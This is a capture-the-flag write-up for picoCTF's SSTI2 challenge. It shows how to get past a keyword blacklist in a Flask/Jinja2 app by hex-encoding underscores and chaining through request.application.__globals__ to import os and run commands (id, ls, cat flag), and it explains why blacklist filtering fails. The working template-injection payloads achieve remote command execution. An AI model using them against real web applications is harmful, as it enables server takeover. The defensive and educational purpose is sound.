Description
SSTI2 filters obvious characters, so the simple `cycler` trick no longer works. Pivot to attribute lookups (hex-escaped to bypass the blacklist) and import `os` through Flask's application object.
Setup
Submit any blocked payload to confirm the server replaces suspicious words with "Stop trying to break me >:(".
Grab the Flask exploitation gadget from payloadbox or your own notes and plan to hex-encode forbidden characters.
Solution
- Step 1Abuse Flask's application globalsUse the payloadbox gadget to drill into `request.application.__globals__['__builtins__']['__import__']('os')`. Hex-encoding the underscores (`\x5f`) dodges the filter and gives you a reference to the `os` module.
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}Learn more
Filter bypasses are the core skill tested in SSTI2. Naive SSTI filters typically blacklist keywords like
__class__,__mro__,__globals__,import, andosas literal strings. The bypass exploits the fact that Jinja2 supports multiple ways to access the same attribute: dot notation (obj.attr), bracket notation (obj['attr']), and the|attr()filter. If the filter only blocks__globals__as a literal substring, expressing it as'\x5f\x5fglobals\x5f\x5f'(where\x5fis the hex code for underscore) defeats string matching while Jinja2 interprets it identically.The
request.applicationchain is a Flask-specific SSTI gadget.requestis always in the Jinja2 context in Flask applications, andrequest.applicationgives a reference to the Flask application object. From there,__globals__provides access to the Flask module's namespace, which includes__builtins__- Python's built-in functions including__import__. This entire chain avoids thecyclerkeyword that SSTI2's filter likely blocks.The
|attr()Jinja2 filter is equivalent to Python'sgetattr(). Using it instead of dot notation lets you pass dynamic strings (including hex-escaped ones) as attribute names, which string-matching filters cannot block without also blocking legitimate template use. Advanced filters use abstract syntax tree (AST) analysis instead of string matching, which closes this bypass - but AST-based filtering is significantly more complex to implement correctly. - Step 2List the directorySwap the command from `id` to `ls` to verify the flag file's presence alongside `app.py` and `requirements.txt`.
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}Learn more
Running
idfirst is standard practice in CTF web exploitation - it confirms that command execution is working and reveals the effective user (usuallywww-dataor a service account). Only then do you escalate to reading sensitive files, avoiding wasted effort if the first command fails due to a subtle payload mistake.lswithout arguments lists the current working directory, which for a Flask application is typically the directory containingapp.py. Files likeflag,flag.txt, orsecret.txtin the same directory are common picoCTF patterns. If the flag isn't in the current directory,ls /,ls /home, andfind / -name 'flag*' 2>/dev/nullare the standard next steps.In real penetration tests, post-exploitation reconnaissance follows a similar escalation: confirm execution, identify the user context and OS, map the filesystem for sensitive files (credentials, keys, configuration), check for lateral movement opportunities (network interfaces, accessible services), and document everything for the final report. The skills practiced in CTF web challenges map directly to this professional workflow.
- Step 3Print the flagFinally, replace the command with `cat flag`. The rendered response includes the picoCTF flag even though the server tried to sanitize the input.
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}Learn more
The SSTI2 challenge illustrates a fundamental truth about input validation: blacklists always fail. There are infinitely many ways to express the same operation - different attribute access syntax, encoding variants, alternative gadget chains through different objects - and a filter must block every one of them. Attackers only need to find one that slips through. The secure alternative is a whitelist approach or, better, architectural changes that eliminate the vulnerability class entirely.
The hierarchy of SSTI defenses from weakest to strongest: (1) string blacklisting (trivially bypassed), (2) regex blacklisting (harder but bypassable), (3) AST-level analysis (blocks most known gadgets but research continues to find new ones), (4) sandboxed template environment (significantly reduces attack surface), (5) eliminate user-controlled template rendering entirely (the only reliable fix). Real-world applications that genuinely need user-defined templates (like Shopify themes or email template editors) typically use custom DSLs with a deliberately limited feature set rather than general-purpose template engines.
After solving SSTI1 and SSTI2, the natural next step is exploring filter bypasses for other Jinja2 attributes like
lipsum,namespace, andjoinerglobal objects, or chaining through MRO (Method Resolution Order) to access base classes. Resources like HackTricks SSTI, PayloadAllTheThings, and the annual SSTI research from PortSwigger Web Security Academy keep pace with evolving bypass techniques.
Flag
picoCTF{sst1_f1lt3r_byp4ss_8b53...}
Any gadget chain that reaches builtins works; the payloadbox example just saves time.